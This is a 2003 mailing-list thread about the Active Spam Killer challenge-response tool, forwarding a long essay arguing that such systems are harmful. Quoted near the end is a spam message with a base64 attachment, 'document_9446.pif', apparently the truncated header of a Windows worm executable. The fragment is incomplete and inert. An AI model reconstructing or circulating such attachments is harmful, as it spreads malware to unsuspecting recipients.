Re: [forwarded from [email protected]]

Hi Peter,

It's entertaining, nevertheless. :)

What really puzzles me is the extent the guy went to divulge his rant. He
posted on his website, sent me an email, posted a bug *and* posted a comment
on freshmeat.net. To make matters even worse, he pastes *everything* every
time he posts. I wonder if we're not, in fact, dealing with a pissed off
spammer or something like that...

Cheers,
Paga

On Tue, Aug 26, 2003 at 05:03:02PM -0500, Peter Elsner wrote:
> Can you say "Troll" ????
> 
> I thought you could.
> 
> This is a person who has nothing better to do than "try"
> to piss you off.  I hope it's not working.
> 
> Don't worry about it.  I think ASK is a fantastic program and
> ever since I've installed it, my spams have decreased from
> over 500 per day to almost none.
> 
> Keep up the good work, and don't let little pricks like this one
> piss you off.  It ain't worth it.
> 
> Peter Elsner
> 
> 
> At 11:00 AM 8/26/2003 -0400, you wrote:
> >Hey ASK people,
> >
> >This is an email I received, followed by the corresponding "Bug Report" on
> >sourceforge.  I post it here for your enjoyment! :)
> >
> >Regards,
> >Paga
> >
> >----- Forwarded message from "Karsten M. Self" <[email protected]> -----
> >
> >Date: Tue, 26 Aug 2003 09:15:04 +0100
> >From: "Karsten M. Self" <[email protected]>
> >To: "David G. Lawrence" <[email protected]>, [email protected]
> >Subject: Re: Please confirm (conf#8c79e56fa9f18585980e9293e55db8b4)
> >X-ASK-Info: Invalid confirmation (2003/08/26 04:15:26)
> >
> >Congratulations for sending a C-R to me based on spoofed headers.
> >
> >Marco, you've earned a hall-of-shame reference.
> >
> >
> >http://kmself.home.netcom.com/Rants/challenge-response.html
> >
> >
> >            Challenge-Response Anti-Spam Systems Considered Harmful
> >
> >   You're probably receiving this because I've received a
> >   challenge-response (C-R) message from your mail system. If you're
> >   receiving this, that is....
> >
> >   Spam is a growing, heck, exploding problem. No doubt.  C-R is a
> >   flawed tactic, for the following reasons.
> >
> >0. Weak, and trivially abused, verification basis.
> >
> >   Even where used, C-R systems are readily bypassed by spammers.
> >
> >   The 'FROM:' header of email can be, and routinely is, spoofed. It
> >   offers no degree of authentication or evidence of identity.
> >
> >   C-R uses the "From:" header (with implementation-specific variations)
> >   as an authentication key. While a given key is going to have a
> >   relatively low likelihood of being cleared by a given user, there are
> >   keys which will have a high likelihood of being cleared. Off the top
> >   of my head, @microsoft.com, @aol.com, @ebay.com, @*.gov, and other
> >   major commercial, financial, and governmental institutions, would be
> >   likely to be cleared by a large number of users. Similar "social
> >   engineering" tactics are already used by spammers.
> >
> >   C-R moves you back to square one of the fact that SMTP can't provide
> >   authentication of email headers. At the very least, contextual
> >   analysis of headers (as Alan admits) is necessary. If you're already
> >   taking this step, heuristic and Bayesian methods are a low-overhead
> >   next step, which have proven to be highly effective and accurate.
> >
> >   By contrast, systems which utilize multiple metrics -- sender, header
> >   integrity, content, context, Bayesian analysis -- provide a broader,
> >   deeper, richer set of metrics on which to gauge spam.
> >
> >1. Mistaken interpretation of anti-spam goals
> >
> >   The intent of a practical anti-spam system is not to ensure, at all
> >   costs, that no spam should darken the reader's inbox at any cost. If
> >   that's the goal, then unplugging your computer is the simplest fix.
> >
> >   At a practical level, the goal is to minimize the amount of spam
> >   received, while ensuring no (or the very minimum) of legitimate mail
> >   is lost. Inconvieniencing spammers is a plus. It is currently possible
> >   to achieve rates of a very small handful of spam messages per week via
> >   a mix of whitelisting and content-filtering systems, with Bayesian
> >   filters attaining very high and accurate rates.
> >
> >   C-R systems in practice achieve an unacceptably high false-positive
> >   rate (non-spam treated as spam), and may in fact be highly suseptible
> >   to false-negatives (spam treated as non-spam) via spoofing.
> >
> >2. Misplaced burden.
> >
> >   Effective spam management tools should place the burden either on the
> >   spammer, or at the very least, on the person receiving the benefits of
> >   the filtering (the mail recipient). Instead, challenge-response puts
> >   the burden on, at best, a person not directly benefitting, and quite
> >   likely (read on) a completely innocent party. The one party who should
> >   be inconvenienced by spam consequences -- the spammer -- isn't
> >   affected at all.
> >
> >3. Privacy violation.
> >
> >   A record of our correspondence is being maintained by a third party
> >   who has no business knowing of the transaction. Many people will
> >   refuse to respond to C-R requests for this reason.
> >
> >   Virtually all C-R systems must be implemented on the mail server --
> >   putting them effectively _out_ of the immediate reach of the casual
> >   home email user, and putting critical information of the email habits
> >   of both yourself and your correspondents in the hands of a third
> >   party.
> >
> >   Most of the _general_ discussion (that is, outside this mailing list)
> >   has concerned service-model enterprise models in which C-R is provided
> >   and hosted by a third-party, which is then aquiring a rather
> >   interesting database of communications patterns, which _must_ be
> >   maintained on a persistent basis. Not the sort of thing I'd like to
> >   have available to an arbitrary subpeona request.
> >
> >4. Less effective at greater burden than reciever-side whitelisting.
> >
> >   A C-R system is essentially an outsourced whitelist system. The
> >   difference between a C-R system and a self-maintained whitelist is
> >   that the latter is:
> >     * Maintained by the mail recipient, rather than a third party
> >       service provider.
> >     * Is the responsibility of the mail recipient, rather than the
> >       sender.
> >     * Places the burden on the recipient to add new addresses to
> >       allow/deny lists.
> >
> >   I might add that I myself use a mix of whitelisting and spam filtering
> >   (via SpamAssassin) to filter my own mail with a very high level of
> >   accuracy, in terms of true positives, true negatives, false positives,
> >   and false negatives. Namely: better than 98% true positive (filtered
> >   spam), less than 2% false negative (unfiltered spam), 99.98% true
> >   negative (unfiltered non-spam), and less than 0.02% false positive
> >   (filtered non-spam). While some C-R proponents claim filtering doesn't
> >   work, it clearly does.
> >
> >5. High type II error (beta).
> >
> >   Because of numerous issues in sender-compliance with C-R systems, C-R
> >   tends to a high false postive rate. This is known as type II error, in
> >   statistical tests, and is denoted by beta.
> >
> >   The mechanics of C-R systems lead to a fairly high probability that
> >   users of such systems will find themselves missing an unacceptably
> >   high rate of non-spam (aka "ham") mail, possibly with very high
> >   significance (e.g.: client, commercial prospect, or family
> >   communications).
> >
> >   In a staggering display of transrational behavior, C-R proponents
> >   frequently and vociferously blame this failure of C-R on the
> >   unwillingness of bystanders to be drawn into the misguided system.
> >
> >   C-R systems assume all mail to be spam until proven otherwise. A
> >   rational system assumes mail to be of _unknown_ quality, until
> >   determined to be spam or non-spam. If mail processing can't determine
> >   the mail's quality, it is treated as "grey". Such "greymail" generally
> >   amounts to a small handfull of messages daily, even for heavy mail
> >   users, and can be readily evaluated, with whitelists and spam filters
> >   trivially updated.
> >
> >   For a description of statistical type II errors, see:
> >     * http://mathworld.wolfram.com/TypeIIError.html
> >     * http://www.acponline.org/journals/ecp/novdec01/primer_errors.htm
> >
> >6. Potential denial of service.
> >
> >   C-R systems can be used intentionally or otherwise in a
> >   denial-of-service or "Joe Job" attack on an innocent third party. In
> >   fact, this is likely to start happening shortly as C-R becomes more
> >   widespread.
> >
> >   How? Simply: Spammer spoofs a legitimate sending address (this is
> >   already commonplace). C-R systems then send out a challenge to this
> >   address. With only 1% penetration of C-R, the victim of the C-R/Spam
> >   attack is deluged with 100,000 challenge emails. This could likely
> >   lead to lawsuits or other legal challenges.
> >
> >7. C-R - C-R deadlock
> >
> >   This is almost funny.
> >
> >   How do two C-R system users ever start talking to each other?
> >     * User A sends mail to user B. While user B's address is then known
> >       to A, user B's C-R server's mail is not.
> >     * User B's C-R system sends a challenge to A...
> >     * ...who intercepts the challenge with A's C-R system, which sends a
> >       challenge to user B's C-R system...
> >     * Rinse, wash, repeat....
> >
> >   No, I didn't think this one up myself, see Ed Felton's "A Challenging
> >   Response to Challenge-Response"
> >
> >   Bypassing this deadlock then opens an obvious loophole for spammers to
> >   exploit.
> >
> >   While _some_ C-R systems may avoid this particular pitfall, current
> >   experience with vacation responders and spam-notification filters
> >   provide strong empirical evidence that a significant number of C-R
> >   systems will in fact _not_ get this right.
> >
> >   This and several following issues are often countered with "but a
> >   well-designed C-R system won't do that". Unfortunately, there will be,
> >   and are, many poorly-designed C-R systems.
> >
> >8. Potential integration into spam email harvest systems.
> >
> >   One commonplace piece of advice for avoiding spam is to not respond to
> >   opt-out, aka email validation testing, requests.
> >
> >   C-R spoofing on the part of spammers would simply hijack a presumption
> >   that C-R requests were valid to provide spammers with higher-quality
> >   mailing lists. See the current rash of identity theft / CC theft scams
> >   based on "updating your account information".
> >
> >   C-R at best promotes bad personal identity protection practices.
> >
> >9. Likely consequences: C-R messages and users blacklisted or spamfiltered
> >
> >   The C-R user is likely to find their own address added to blocklists
> >   from many users and/or mailing list adminstrators burned by malformed,
> >   or simply unwanted, C-R requests. Simply: people who receive such
> >   requests are very likely to just add the sending address, or user
> >   corresponding to the request, to their own personal blacklists. This
> >   is my own current M.O. with C-R requests, and andecdotal evidence
> >   suggests it's a common practice.
> >
> >   This factor is entirely outside the bounds of the C-R system; it is a
> >   reflection of the independent response of individuals and
> >   organizations to receiving C-R challenges. C-R definitionally cannot
> >   accomodate this.
> >
> >   Another possibility is that, due to user concensus, spam filters
> >   simply tag C-R messages as spam, either with a direct rule or as a
> >   result of Bayesian weighted scoring.
> >
> >   Beyond any semiotic arguments of what spam is or isn't, if the
> >   operational reality is that Spamassassin reflects the opinion of SA
> >   users and developers and treats C-R transactions as spam, it is for
> >   all intents, spam.
> >
> >10. Mailing list burden.
> >
> >   C-R systems typically misfunction on mailing lists in one of two ways,
> >   neither of which is acceptable:
> >    1. The C-R sends a challenge to the list for messages received.
> >    2. The C-R sends a challenge to each individual listmember for the
> >       first post received.
> >
> >   In both cases, the burden is placed on a party who could care less
> >   about the benefits of the C-R system. Several lists of my aquaintance
> >   have taken to permanently banning any users who exhibit use of
> >   misconfigured C-R systems.
> >
> >11. Fails to address techno-economic underpinnings of spam.
> >
> >   Spam exists for one reason: it's profitable.
> >
> >   It's profitable because technology allows the costs of sending a large
> >   number of mail messages to be lower than the revenues available for
> >   doing so.
> >
> >   Any effective spam remedy must attack one or the other side (or both)
> >   of this equation: raise the costs or reduce the technological
> >   effectiveness, on the one side, or reduce revenues on the other.
> >
> >   C-R, as with most recipient-side filtering systems, imposes negligible
> >   incremental overhead on the spammer. A delivery is made, the spam
> >   server moves on, the cost is a single SMTP connection for a fractional
> >   second. Collateral costs are high: for legitimate senders, spoofed
> >   reply addresses, mailing lists, and retaliatory actions on the C-R
> >   user.
> >
> >   A truly effective spam defense must attack the techical and economic
> >   aspects, in as unobtrusive a manner as possible.
> >
> >   The one system which seems to best fit this requirement is the
> >   Teergrub -- the spam tar-baby, FAQ at:
> >
> >     http://www.iks-jena.de/mitarb/lutz/usenet/teergrube.en.html
> >
> >   A teergrubing mailserver costs a spammer multiple SMTP connections, an
> >   inherently finite resource, for possibly hours. Workarounds on the
> >   part of the spammer are possible, but all result in higher costs,
> >   reduced delivery, or both. The net effect is essentially a delivery
> >   payment requirement, though the payment is in the form of time and
> >   configuration on the part of the spammer. Collateral damage is low --
> >   if a teergrube _does_ unintentionally filter a legitimate sender, the
> >   only cost is a single (or very small number of) delayed delivery. This
> >   and other issues are covered at the FAQ above, read it before posing
> >   hypothetical problems.
> >
> >
> >on Tue, Aug 26, 2003 at 12:14:17AM -0700, David G. Lawrence 
> >([email protected]) wrote:
> >> << IMPORTANT INFORMATION! >>
> >>
> >> This is an automated message.
> >>
> >> The message you sent (attached below) requires confirmation
> >> before it can be delivered. To confirm that you sent the
> >> message below, just hit the "R"eply button and send this
> >> message back (you don't need to edit anything). Once this is
> >> done, no more confirmations will be necessary.
> >>
> >> This email account is protected by:
> >> Active Spam Killer (ASK) V2.2 - (C) 2001-2002 by Marco Paganini
> >> For more information visit http://www.paganini.net/ask
> >>
> >> --- Original Message Follows ---
> >>
> >> From: <[email protected]>
> >> To: <[email protected]>
> >> Subject: Thank you!
> >> Date: Tue, 26 Aug 2003 15:12:58 +0800
> >>
> >> This is a multipart message in MIME format
> >>
> >> --_NextPart_000_011E6217
> >> Content-Type: text/plain;
> >>       charset="iso-8859-1"
> >> Content-Transfer-Encoding: 7bit
> >>
> >> See the attached file for details
> >> --_NextPart_000_011E6217
> >> Content-Type: application/octet-stream;
> >>       name="document_9446.pif"
> >> Content-Transfer-Encoding: base64
> >> Content-Disposition: attachment;
> >>       filename="document_9446.pif"
> >>
> >> 
> >TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
> >> 
> >ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
> >> 
> >nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
> >> 
> >TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
> >> 
> >AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
> >> 
> >AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
> >> 
> >c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
> >> 
> >AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
> >> 
> >AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >> 
> >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >>
> >> (Original message truncated)
> >>
> >>
> >
> >--
> >Karsten M. Self <[email protected]>        
> >http://kmself.home.netcom.com/
> > What Part of "Gestalt" don't you understand?
> >    Ford had another Pan Galactic Gargle Blaster, the drink which has
> >    been described as the alcoholic equivalent of a mugging - expensive
> >    and bad for the head.
> >    -- HHGTG
> >
> >
> >
> >----- End forwarded message -----
> >
> >--
> >Marco Paganini          | UNIX / Linux / Networking
> >[email protected]   | PGP: http://www.paganini.net/pgp/
> >http://www.paganini.net | Magnus Frater te spectat...
> 
> ----------------------------------------------------------------------------------------------------
> Peter Elsner - FreeBSD SysAdmin
> Looking for inexpensive web hosting?  Look no further than
> RavensClaw.  http://www.ravensclaw.com
> 
> FreeBSD - http://www.freebsd.org
> Slashdot - http://www.slashdot.org
> 
> Spam Sucks! 

-- 
Marco Paganini          | UNIX / Linux / Networking
[email protected]   | PGP: http://www.paganini.net/pgp/
http://www.paganini.net | Magnus Frater te spectat...


-------------------------------------------------------
This sf.net email is sponsored by:ThinkGeek
Welcome to geek heaven.
http://thinkgeek.com/sf